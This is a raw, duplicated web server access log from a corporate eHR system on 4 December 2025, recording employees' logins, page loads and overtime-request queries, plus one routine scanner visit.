"http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:49:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:49:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:49:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:49:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:49:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:49:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:49:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:49:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:49:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:49:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:49:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:49:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:49:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:49:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:49:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.11.135 - - [04/Dec/2025:08:48:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.009836556534928098 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.009836556534928098" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:48:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.009836556534928098 HTTP/1.1" 200 24852 192.168.11.135 - - [04/Dec/2025:08:49:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4071 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:49:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4071 192.168.11.135 - - [04/Dec/2025:08:49:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:49:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [04/Dec/2025:08:49:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:49:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 192.168.11.135 - - [04/Dec/2025:08:49:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 26734 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:49:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 26734 192.168.11.135 - - [04/Dec/2025:08:49:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 21334 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:49:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 21334 100.64.0.1 - - [04/Dec/2025:08:50:04 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:08:50:04 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:08:50:05 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://202.111.43.170:8088/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:08:50:05 +0800] "GET /favicon.ico HTTP/1.1" 404 209 192.168.11.135 - - [04/Dec/2025:08:50:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22020 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:50:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22020 192.168.11.135 - - [04/Dec/2025:08:50:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22823 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:50:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22823 192.168.11.135 - - [04/Dec/2025:08:50:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22807 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:50:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22807 192.168.11.135 - - [04/Dec/2025:08:51:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22807 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:51:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22807 192.168.11.135 - - [04/Dec/2025:08:51:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22032 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:51:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22032 192.168.139.16 - - [04/Dec/2025:08:52:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:08:52:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:08:52:15 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:08:52:15 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.139.16 - - [04/Dec/2025:08:52:15 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:08:52:15 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.139.16 - - [04/Dec/2025:08:52:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:08:52:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:08:52:21 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:08:52:21 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.139.16 - - [04/Dec/2025:08:52:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:08:52:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 100.64.0.1 - - [04/Dec/2025:08:52:48 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [04/Dec/2025:08:52:48 +0800] "GET / HTTP/1.1" 200 439 192.168.139.16 - - [04/Dec/2025:08:53:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:08:53:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 - 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/ess HTTP/1.1" 301 241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/ess HTTP/1.1" 301 241 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 304 - 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.104 - - [04/Dec/2025:08:55:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.104 - - [04/Dec/2025:08:55:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.104 - - [04/Dec/2025:08:55:11 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:11 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:16 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:16 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 